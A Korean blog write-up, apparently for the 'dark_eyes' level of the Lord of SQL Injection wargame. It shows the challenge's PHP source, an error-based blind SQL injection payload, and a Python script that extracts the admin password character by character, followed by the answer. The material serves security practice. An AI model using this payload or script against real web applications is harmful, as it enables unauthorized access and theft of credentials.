728x90
<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();      //error문 출력은 안되지만 error가 발생하면 빈 페이지 출력. 이를 기반으로 Error Based SQL Injection 수행.
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>

공격구문은 다음과 같다. 

?pw=' or id='admin' and (select 1 union select length(hex(pw))={})%23 

union 뒤의 구문이 거짓이라면 where 절에 행이 2개(1,0)가 반환되며 Subquery returns more than 1 row 에러가 발생한다.

참고로 참이면 select 1 union select 1은 행 1개(1)를 반환한다. 즉, 연속된 같은 값이면 하나로 통일한다.

error가 출력은 안되지만 error가 발생하면 빈 페이지가 나타난다. 이를 기반으로 Error Based SQL Injection 수행한다.

pw 찾는 속도를 높이기 위해 이번에도 hex 함수를 이용했다.

hex함수는 16진수 값을 반환하기에 '0123456789ABCDEF' 만 비교하여 빠르게 답을 찾을 수 있다.

import requests

url='https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' or id='admin' and (select 1 union select length(hex(pw))={})%23".format(pw_len),cookies=cookie)
        if 'query' in r.text:
            return pw_len
        else:
            pw_len+=1
            
#5a2f5d3c           
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' or id='admin' and (select 1 union select substr(hex(pw),{},1)='{}')%23".format(i,j),cookies=cookie)
            if 'query' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
            
find_pw()

답: ?pw=5a2f5d3c

728x90

'Lord of SQL Injection' 카테고리의 다른 글

evil_wizard  (0) 2023.01.02
hell_fire  (2) 2023.01.01
iron_golem  (0) 2023.01.01
dragon  (0) 2023.01.01
xavis  (2) 2023.01.01

+ Recent posts